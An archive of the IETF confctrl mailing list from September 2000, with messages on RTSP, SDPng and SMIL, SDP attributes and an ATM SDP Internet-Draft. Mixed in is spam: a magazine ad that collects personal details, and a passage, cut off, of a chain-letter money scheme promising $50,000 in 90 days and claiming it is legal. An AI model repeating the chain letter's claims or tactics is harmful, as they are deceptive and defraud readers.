data in a while, let's see what's going on". I should point out that Oracle's
RTSP extensions do include callbacks for these situations, so I'm not really
arguing against them.

> In the specific case of queued PLAY, I still haven't gotten back a good
> answer to how one is expected to return proper "RTP-Info" with the way the
> spec is written right now. However, with the approach I described here, a
> server and client can do the same thing for queued PLAY that they do right
> now for playing the initial play spurt. The data will be delivered to the
> client just before the server begins sending the packets from a new play
> spurt (either in the initial PLAY reply or in one of these new messages),
> and the client code can treat the two cases similarly.

Hmm, I'm not sure if I agree with this, because this sounds like it gets
dangerously close to needing in band notification to me ...

> --
> Ron Frederick
> ronf@entera.com

-- Dirk

Dirk Pranke
Oracle Interactive Television Division

From confctrl-owner  Thu Sep 14 14:08:55 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA26099
	for confctrl-outgoing; Thu, 14 Sep 2000 14:08:55 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA26094
	for <confctrl@zephyr.isi.edu>; Thu, 14 Sep 2000 14:08:53 -0700 (PDT)
Received: from hi-ho.ne.jp (mail.hi-ho.ne.jp [202.224.159.142])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id OAA15353
	for <confctrl@ISI.EDU>; Thu, 14 Sep 2000 14:08:41 -0700 (PDT)
Received: from kichiemon (1Cust121.tnt3.princeton.nj.da.uu.net [63.39.102.121])
	by hi-ho.ne.jp (8.9.3/3.7Wpl2:Pana) with ESMTP id GAA13813
	for <confctrl@ISI.EDU>; Fri, 15 Sep 2000 06:08:34 +0900 (JST)
Message-Id: <4.2.0.58.J.20000915051050.00af1d50@mail.hi-ho.ne.jp>
X-Sender: nnd3-2@mail.hi-ho.ne.jp
Reply-To: Kenichi Kubota <kuboken@isl.mei.co.jp>
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58.J 
Date: Fri, 15 Sep 2000 06:10:23 +0900
To: confctrl@ISI.EDU
From: Kenichi Kubota <kuboken@isl.mei.co.jp>
Subject: {SDPng} how about smil?
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-2022-JP"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear all:

Hi, I'm interested in SDPng which I think discusses about XML-ized SDP. 
Could you let me know how your discussion was/is like?

My name is Kenichi Kubota, Panasonic, who works on the development
of SMIL application on mobile phones, and is a member of
SMIL working group in W3C. I am concerned about lightweight SMIL2.0 and 
SMIL 2.0 Streaming Media Object (aiming at SDP in SMIL), which 
Philipp Hoschka, W3C has proposed before.

I would like to propose SMIL for xml-ized SDP and
am thinking the format below as is the same described in SMIL.

Please guide and welcome me to your discussion!

Best regards,
Kenichi Kubota 
       Digital Network Development Center,
       Matsushita Electric Industrial Co., Ltd. $B!J(BPanasonic)
       E-Mail: kuboken@isl.mei.co.jp


-----------extracted from SMIL StreamingMedia ----------------
[Mapping of SDP to Media Object Attributes]
The following example tries map the content of SDP 
into the attributes of media objects.

 v=0                                       ; version
 s=MPEG4 DEMO 1                            ; session name          <-+-+
 a=control:rtsp://symmwg.org/mpeg4/scene01 ; session-level control <-+ |
 ...                                                                   |
 m=video 0 TCP                             ; download video  <-+-----+ |
 a=x-download:http://symmwg.org/mpeg4/scene01/bg             <-+     | |
 a=object_descriptor_id:10                                           | |
 ...                                                                 | |
 m=video 0 RTP/AVP 97                      ; streaming video <-+---+ | |
 a=control:rtsp://symmwg.org/mpeg4/scene01/video             <-+   | | |
 a=object_descriptor_id:20                                         | | |
                                                                   | | |
 m=audio 0 RTP/AVP 97                      ; streaming audio <-+-+ | | |
 a=control:rtsp:/symmwg.org/mpeg4/scene01/audio              <-+ | | | |
 a=object_descriptor_id;30                                       | | | |
 ...                                                             | | | |
                                                                 | | | |
[Example of Media Object attributes for session description]     | | | |
 <smil>                                                          | | | |
   <body>                                                        | | | |
     <par title="MPEG4 DEMO 1"                                   | | | |
       control="rtsp://symmwg.org/mpeg4/scene01">          ------|-|-|-+
       ...                                                       | | |
       <video src="http://symmwg.org/mpeg4/scene01/bg"           | | |   
              port="0" tranport="TCP"/>                    ------|-|-+
       ...                                                       | |
       <video src="rtsp://symmwg.org/mpeg4/scene01/video"        | |
              port="0" tranport="RTP/AVP" rtpformat="97"/> ------|-+
       <audio src="rtsp://symmwg.org/mpeg4/scene01/audio"        |
              port="0" tranport="RTP/AVP" rtpformat="97"/> ------+
       ...
     </par>
   </body>
 </smil>




From confctrl-owner  Fri Sep 15 02:15:39 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA20501
	for confctrl-outgoing; Fri, 15 Sep 2000 02:15:39 -0700 (PDT)
Received: from falcon.prod.itd.earthlink.net (falcon.prod.itd.earthlink.net [207.217.120.74])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA20495
	for <confctrl@zephyr.isi.edu>; Fri, 15 Sep 2000 02:15:38 -0700 (PDT)
Received: from mail.888.nu (sdn-ar-001nynyorP215.dialsprint.net [168.191.122.1])
	by falcon.prod.itd.earthlink.net (8.9.3-EL_1_3/8.9.3) with SMTP id CAA25367
	for <confctrl@zephyr.isi.edu>; Fri, 15 Sep 2000 02:15:38 -0700 (PDT)
Date: Fri, 15 Sep 2000 05:15:30 -0400
From: "tempting.tearouts@mail.888.nu" <tempting.tearouts@mail.888.nu>
Organization: tempting.tearouts@mail.888.nu
Reply-To: tempting.tearouts@mail-x-change.com
Message-ID: <B5E760F2.31269C@[168.191.122.1]>
To: confctrl@ISI.EDU
Subject: ADV: ===>> FREE 1 yr. USA Magazine Sub sent worldwide-200+
	 Choices!  Up to $81.
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

With your first purchase of any size of any new or renewal subscription AT
OUR GUARANTEED LOWEST RATE (we BEAT all competitor's prices before you pay
us and will even go back 6 months later if you find a better deal and
refund you the difference!);  customers living overseas pay only for FPH
(foreign postage & handling) on the free subscription.

FOR MORE INFO OR TO BE REMOVED FROM OUR MAILING LIST: 

Just fill out the below form and return to us via email at:      

Tempting.Tearouts@mail-x-change.com


Remove requests will be immediately honored and request for more
information will be fulfilled within 24 hours.

For more information, if you do not get a reply within 24 hours, then
please fax us at:


1-602-294-5643


or write us via smail at:  or send via smail (first class mail or airmail)
to:
    
                               Tempting Tear-Outs
                               Att.  Free-catalogue-by-email Dept
                               PMB 200
                               3835 Richmond Ave.  
                               Staten Island NY  10312-3828
                               USA



When replying, your reply must include only this form*:

(*If you can't figure out how to cut and past this text, just type it out
in the same format):


*------------cut here/begin-------------------------------------------*

No thank you.   Please remove me from your mailing list.  My email address
is:


Yes, please send me more info.  I realize I am not committing myself to
buying
anything at this time and I would just like more info on the offer and a
FREE copy
of your magazine subscription catalogue.  Here are my details:

Name (First Middle Last):
Internet email address:
Smail home address:
City-State-Zip:
Country:
Work Tel. #:
Work Fax #:
Home Tel. #:
Home Fax #:
Cellular (Mobile) Tel. #:
Beeper (Pager) Tel. #:

How did you hear about us (name of person/company who referred you or the
area of
the internet that you saw us mentioned in):  Referred by:  Tempting
Tear-Outs     
091300-ng

Name of USA mags you currently get on the newsstand or in the store:

Name of USA mags you currently get on a subscription basis, through the
mail:

Name of USA mags you would like price quotes on when we call you:

Catalogue version desired (list number of choice below):

*------------cut here/end--------------------------------------------*



CATALOGUE VERSION CHOICES:

1.  This version can be read by everyone, no matter what type of 
     computer you use, or what type of software you use.  It is a simple
     format, with just our entire catalogue pasted into the body of a 
     single email message, 316K in size.  If you use pine or elm on a unix 
     system or an advanced software version such as Eudora Pro 3.0 or
     later, you will most likely receive it as a single email message.   
     However, if your software limits incoming email messages to a     

     certain size, say 32K or so, then your software will split it into

     multiple email message parts.   Whether you receive it as a single

     email message or multiple part email messages, you can easily 
     paste it into one whole text document with your word processor, in

     about 10 minutes or so.
2.  For more advanced computer users:  attached plain ascii text file 
     ~316K - you must know how to download an attached text file and 
     then be able to locate it on your hard drive or system home 
     directory;  it can then be opened with any pc or mac word processing
     software.  If in doubt, don't ask for this version.  This isn't for 
     internet *newbies.* Better to order option 1 and spend a few minutes
     pasting them into one whole text document with your word processor,
     than to waste hours trying to figure how to deal with this option.
     This version is great for doing keyword searches and jumping around 
     within the catalogue with your word processing software, if your 
     normal email reading software doesn't allow this.



WHO WE ARE:

Tempting Tear-Outs is an advertising company that brings potential new
customers to the companies they advertise for.

 
MORE ABOUT THE COMPANY MAKING THE FREE OFFER AND THE FREE OFFER ITSELF:

The company making the offer is a magazine subscription agency based in the
USA.  They have over 1,100 popular USA titles available to be shipped to
ANY country, including of course, to anywhere in the USA!    They offer a
FREE 1 yr. subscription to your choice of over 200 of the titles in their
catalogue to any new customer using them for the first time.       The 
dollar value of the freebies, based on the subscription prices directly
from the publishers, ranges from $6.97 all the way up to $50.00!

For new customers in the USA, there is no charge for FPH (foreign postage &
handling), so the freebie is 100% free!   For new customers living
overseas, the only charge on the freebie would be for the FPH (foreign
postage & handling).

Their president has been in the magazine subscription business since 1973
and they are very customer-service oriented.   They will even help you with
address changes on your magazines, even if you move from one country to
another country.   They have thousands of happy customers in over 59
countries.

Their price guarantee is very simple:       they guarantee that their
subscription prices are the lowest available and they will BEAT any
legitimate, verifiable offer before you pay them or match it afterwards, by
refunding you the difference in price PLUS the cost of the postage stamp
you would use sending in the special offer to them, even 6 months after you
pay them, as long as it was current at the time of your offer.    Does that
sound fair?       Wouldn't it be great if everything you bought came with
that price guarantee?  

Sometimes they are less than half of the next best deal out there,
sometimes just a little cheaper, but always you get the lowest rates
without having to shop around.     With 1,100+ titles on their list, they
would like to think that they have also the best selection around!

Within the USA, for their USA customers, they are cheaper than all their
competitors and even the publishers themselves.  This is their price
guarantee.         The 1 yr. freebie that you get with your first order is
completely free!   

Overseas, (even after you factor in the cost of the FPH (foreign postage &
handling) and the conversion from USA Dollars to your currency), on the
average, they are generally around one-fourth to one-half of what the
newsstands overseas charge locally for USA magazines.  On some titles they
are as little as one-tenth of what the newsstands charge.  They are also
the cheapest subscription source for delivery overseas, including directly
from the publishers themselves!   Some publishers don't even offer
subscriptions overseas.........but overseas subscriptions are this
company's specialty!  They feel that magazines should not be a luxury
overseas.   In the USA, people buy magazines and then toss them after
reading them for just a few minutes or hours.  They are so cheap in the
USA!   Well, this company would like to make it the same way for their
overseas customers.  They are also cheaper than all their competitors in
the USA and overseas, including the publishers themselves!   It is also
*highly unlikely* you will find any of their USA competitors calling you
overseas, in order to offer that personal touch, just to sell you a couple
of magazines!  But that is what this company specializes in and loves
doing!     Around one-half their business comes from overseas, so they are
very patient with new customers who only speak limited English as a 2nd
language.    Subscription prices quoted for overseas consist of the
subscription price, plus the FPH.   You add the two together and that is
your total cost.   The exception is the 1 yr. freebie you get with your
first order.   On that title, you pay *only* the FPH for the 1 yr. term.

Their prices are so cheap because when you deal with them, you cut-out all
the middlemen.


HERE IS HOW YOU CAN GET MORE INFO AND GET STARTED WITH THEM:

Simply fax or smail back to us the reply form listed at the top of this
message.   We will then forward your form on to the subscription agency. 
They will then email their "big and juicy" catalogue to you, in whichever
of the two formats you chose.   The catalogue is FREE and makes for hours
of fascinating reading, on its own. It includes the complete list of
freebies, a complete list of all the titles they sell, as well as detailed
descriptions on most of the titles, along with lists of titles by category
of interest and their terms of sale.    

They will then give you a friendly, no-pressure, no obligation, 5-minute
call to go over how they work and to answer any questions that you might
have, as well as give you up-to-the minute price quotes on any titles you
might be considering.     They will call you in whatever country you live
in, taking the time difference into account.        As they like to
emphasize the personal touch they give to each new customer, all first-time
orders can only be done via phone, so they can answer all your questions
completely and personally.   Once you have placed your first order via
phone, you will be able to place future orders and make inquiries on your
account, get price quotes, etc., all via email, if that is most convenient
for you.

Within the USA, they accept payment via check over the phone, Mastercard,
Visa, American Express, Diner's Club and Carte Blanche.    Overseas, they
accept Mastercard, Visa, American Express, Diner's Club and Carte Blanche,
even if your credit card is a local one in local currency (that most
merchants in the USA would not normally be willing to accept).

That's our introduction of our client that we represent.   We hope that we
have piqued your interest and that you will take the next step to get their
free catalogue!   Thank you for your time and interest.

--
Tempting Tear-Outs.
For more info on marketing & consulting rates, please write us on your
company letterhead, w/business card, via smail to:   Tempting Tear-Outs,
PMB 200, 3835 Richmond Ave., Staten Island NY  10312-3828, USA.     

This email message has been sent to you by:  Tempting Tear-Outs, PMB 200,
3835 Richmond Ave., Staten Island NY  10312-3828, USA.







































































































From confctrl-owner  Fri Sep 15 13:04:59 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA12737
	for confctrl-outgoing; Fri, 15 Sep 2000 13:04:59 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA12725
	for <confctrl@zephyr.isi.edu>; Fri, 15 Sep 2000 13:04:54 -0700 (PDT)
Received: from hotmail.com (f30.law7.hotmail.com [216.33.237.30])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id NAA20889
	for <confctrl@isi.edu>; Fri, 15 Sep 2000 13:04:56 -0700 (PDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 15 Sep 2000 13:04:26 -0700
Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP;	Fri, 15 Sep 2000 20:04:25 GMT
X-Originating-IP: [164.164.6.34]
From: "rahul pande" <panderahul@hotmail.com>
To: confctrl@ISI.EDU
Subject: query on a= field......
Date: Sat, 16 Sep 2000 01:34:25 IST
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F305EcvLY5u51eiTMLf0000e83c@hotmail.com>
X-OriginalArrivalTime: 15 Sep 2000 20:04:26.0246 (UTC) FILETIME=[260ACA60:01C01F50]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

hello all,
     In SDP rfc we have the definition of a= as follows :
       a= <attribute>:<value>
         in the above case there will be few registered attribute values bu 
i searched through the iana site but i couldn't get the information can 
someone please give me these details, will the grammar for the value of that 
attribute be also available there.
       In a=sdplang:
           case, does it specify the that our sdp itself is in a  different 
language, then how i would i understand it, can someone please give an 
example so that it becomes very clear.
       There are many charsets defined in IANA, which are the most basic 
ones which should be indepented.(PLEASE REPLY)
     Thanking you all,
         rahul
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.

Share information about yourself, create your own public profile at 
http://profiles.msn.com.


From confctrl-owner  Sun Sep 17 12:13:32 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA06147
	for confctrl-outgoing; Sun, 17 Sep 2000 12:13:32 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA06142
	for <confctrl@zephyr.isi.edu>; Sun, 17 Sep 2000 12:13:31 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id MAA25236
	for <confctrl@isi.edu>; Sun, 17 Sep 2000 12:13:34 -0700 (PDT)
Received: from rkumar-ntl ([144.254.252.22])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id MAA05446;
	Sun, 17 Sep 2000 12:12:55 -0700 (PDT)
Message-Id: <4.1.20000917121041.00dcb820@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Sun, 17 Sep 2000 12:17:50 -0700
To: atmsdp@eng.fore.com
From: Rajesh Kumar <rkumar@cisco.com>
Subject: WG last call on draft-ietf-mmusic-sdp-atm-00.txt
Cc: confctrl@ISI.EDU, msf-media@msforum.org, ISC_DeviceControl@inventures.com
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_1512755==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_1512755==_.ALT
Content-Type: text/plain; charset="us-ascii"

Please send your comments on
http://search.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-00.txt. I will
be requesting an MMUSIC working group last call shortly, before it goes on to
the IESG.

Also, I do have Naren Tulpule's questions and I will be addressing them
shortly. I would request the mailing list to respond to his earlier email. His
issue is as follows:
    
>  In the ATM SDP draft, it is allowed to have 
>1. implicit VcId format (without prefacing with PORT-, BCG- etc) 
>2. implicit hex integers (eg ABCD123 instead of 0xABCD123). 
>For maximum interoperability between equipments from different vendors, 
>would you consider revoking this freedom?

Thanks for all your inputs and contributions so far.
- Rajesh Kumar
        
-------------------------------------------------------
Rajesh Kumar                             :         :
Carrier Packet Voice                    .|.       .|.
Cisco Systems                         .:|||:.   .:|||:.
San Jose, California               ..:|||||||:.:|||||||:..
408 527 0811                       C i s c o S y s t e m s
rkumar@cisco.com  
-------------------------------------------------------
          
 
 

--=====================_1512755==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Please send your comments on
<a href="http://search.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-00.txt" eudora="autourl">http://search.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-00.txt</a>.
I will be requesting an MMUSIC working group last call shortly, before it
goes on to the IESG.<br>
<br>
Also, I do have Naren Tulpule's questions and I will be addressing them
shortly. I would request the mailing list to respond to his earlier
email. His issue is as follows:<br>
&nbsp;
<dl>
<dl>
<dd>&gt;&nbsp; In the ATM SDP draft, it is allowed to have
<dd>&gt;1. implicit VcId format (without prefacing with PORT-, BCG- 
etc)
<dd>&gt;2. implicit hex integers (eg ABCD123 instead of 0xABCD123).
<dd>&gt;For maximum interoperability between equipments from different
vendors,
<dd>&gt;would you consider revoking this freedom?<br>
<br>

</dl>
</dl>Thanks for all your inputs and contributions so far.<br>

- Rajesh Kumar<br>
<font size=2 color="#800000">&nbsp;<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
</font>-------------------------------------------------------<br>
Rajesh
Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :<br>
Carrier Packet
Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|.<br>
Cisco
Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.:|||:.&nbsp;&nbsp; .:|||:.<br>
San Jose,
California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
..:|||||||:.:|||||||:..<br>
408 527
0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
C i s c o S y s t e m s<br>
rkumar@cisco.com&nbsp; <br>
-------------------------------------------------------<br>
<font size=2 color="#800000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
&nbsp;<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_1512755==_.ALT--


From confctrl-owner  Mon Sep 18 03:44:00 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA03209
	for confctrl-outgoing; Mon, 18 Sep 2000 03:44:00 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA03204
	for <confctrl@zephyr.isi.edu>; Mon, 18 Sep 2000 03:43:57 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id DAA18736
	for <confctrl@isi.edu>; Mon, 18 Sep 2000 03:44:00 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA01542;
	Mon, 18 Sep 2000 06:44:01 -0400 (EDT)
Message-Id: <200009181044.GAA01542@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-atm-00.txt
Date: Mon, 18 Sep 2000 06:44:00 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Conventions for the use of the Session Description 
                          Protocol (SDP)for ATM Bearer Connections
	Author(s)	: R. Kumar, M. Mostafa
	Filename	: draft-ietf-mmusic-sdp-atm-00.txt
	Pages		: 63
	Date		: 15-Sep-00
	
This document describes conventions for using the Session Description
Protocol (SDP) described in RFC2327  [1] for controlling ATM Bearer
Connections, and any associated ATM Adaptation Layer (AAL). The AALs
addressed are Type 1, Type 2 and Type 5. This list of conventions is
meant to be exhaustive. Individual applications can use subsets of
these conventions. Further, these conventions are meant to comply
strictly with the SDP syntax as defined in rfc2327.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-atm-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-atm-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20000915135950.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-atm-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-atm-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20000915135950.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Sep 18 06:38:07 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA08550
	for confctrl-outgoing; Mon, 18 Sep 2000 06:38:07 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA08544
	for <confctrl@zephyr.isi.edu>; Mon, 18 Sep 2000 06:38:05 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA21002
	for <confctrl@ISI.EDU>; Mon, 18 Sep 2000 06:38:08 -0700 (PDT)
Received: from daemon.informatik.uni-bremen.de (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id e8IDc5r18035;
	Mon, 18 Sep 2000 15:38:05 +0200 (MET DST)
Received: (from dku@localhost)
	by daemon.informatik.uni-bremen.de (8.8.8+Sun/8.8.7) id PAA01166;
	Mon, 18 Sep 2000 15:38:04 +0200 (MEST)
X-Authentication-Warning: daemon.informatik.uni-bremen.de: dku set sender to dku@informatik.uni-bremen.de using -f
To: Kenichi Kubota <kuboken@isl.mei.co.jp>
Cc: confctrl@ISI.EDU
Subject: Re: {SDPng} how about smil?
References: <4.2.0.58.J.20000915051050.00af1d50@mail.hi-ho.ne.jp>
From: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
In-Reply-To: Kenichi Kubota's message of "Fri, 15 Sep 2000 06:10:23 +0900"
Date: 18 Sep 2000 15:38:04 +0200
Message-ID: <cdn1h5stvn.fsf@daemon.informatik.uni-bremen.de>
Lines: 41
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>>>> "Kenichi" == Kenichi Kubota <kuboken@isl.mei.co.jp> writes:


    Kenichi> Hi, I'm interested in SDPng which I think discusses about
    Kenichi> XML-ized SDP.  Could you let me know how your discussion
    Kenichi> was/is like?

    Kenichi> My name is Kenichi Kubota, Panasonic, who works on the
    Kenichi> development of SMIL application on mobile phones, and is
    Kenichi> a member of SMIL working group in W3C. I am concerned
    Kenichi> about lightweight SMIL2.0 and SMIL 2.0 Streaming Media
    Kenichi> Object (aiming at SDP in SMIL), which Philipp Hoschka,
    Kenichi> W3C has proposed before.

    Kenichi> I would like to propose SMIL for xml-ized SDP and am
    Kenichi> thinking the format below as is the same described in
    Kenichi> SMIL.

    Kenichi> Please guide and welcome me to your discussion!


Kenichi,

thanks for the input.

SMIL (the SMIL media object module) is already on out list -- it has
been proposed by Rob Lanphier before.

Here are a few pointers:

There is a SDP-ng web page at
        http://www.dmn.tzi.org/ietf/mmusic/sdp-ng/

We have set up a mailing list for disussing the SDP-ng development:
        http://www.egroups.com/group/sdp-ng/

We are currently reviewing the relevant input documents and awaiting
further comments from people...

-- 
	Dirk

From confctrl-owner  Mon Sep 18 18:59:55 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA08208
	for confctrl-outgoing; Mon, 18 Sep 2000 18:59:55 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA08199
	for <confctrl@zephyr.isi.edu>; Mon, 18 Sep 2000 18:59:53 -0700 (PDT)
Received: from uobmail.balamand.edu.lb ([193.227.175.7])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id SAA11921
	for <confctrl@isi.edu>; Mon, 18 Sep 2000 18:59:48 -0700 (PDT)
From: nile333@5Tmarketing.co.uk
Received: from gnr.net ([216.77.210.64]) by uobmail.balamand.edu.lb
          (Netscape Messaging Server 3.54)  with SMTP id AAB2136;
          Tue, 19 Sep 2000 04:55:19 -0200
To: nile333@5Tmarketing.co.uk
Subject: So, How in the heck have you been?
Date: Tue, 19 Sep 2000 04:55:19 -0200
Message-ID: <7736FB0213F3.AAB2136@uobmail.balamand.edu.lb>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


So, How in the heck have you been?

Do you remember holding previous conversations regarding business and
money making opportunities? I did not send this to you in error!

You Said:

If only I could find an easier way to make a higher income!

and

If I had more money, I could spend more time with my Family, and less
time at work and I sure could use more money so I could pay off my
bills once and for all!

And

I would love to get involved in a business in which will generate money
while I am not at work (like a Gas Pump)!

Dear Friend,

There is a possibility that we haven’t met, but you were chosen by
someone to receive this E-Mail. Please, please, print this off and
read thoroughly. Be sure that you don’t miss any of the points
outlined.  Then put it down, and then read it again. I am sending
you a whole lot of information in which you might not understand
the first time you read it. If you don’t believe this  program
will work for you, send it to 10-20 of your closest friends
(in which you trust deeply),  and ask them what they think?
This really works! Have faith, don’t miss this opportunity,
get involved also, and it will work for you as it does for us!!!!

Due to the popularity of this letter on the Internet, A Major Nightly
News Program recently dedicated an entire show to the investigation of
the
program described below to see if it really can make people money.
The show also investigated whether or not the program was legal. Their
findings proved that there are absolutely no laws prohibiting the
participation in the program. This has helped to show people that this
is a simple, harmless and fun way to make extra money at home. The
results have been truly remarkable. So many people are participating
that those involved are doing much better than ever before. Since
everyone makes more as more people try it out, its been very exciting.

You will understand only if you get involved!
********** THE ENTIRE PLAN IS HERE BELOW **********
**** Print This Now For Future Reference ****

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make AT LEAST $50,000 in less than 90 days! If not,

forward this to someone who would like to make this kind of money.
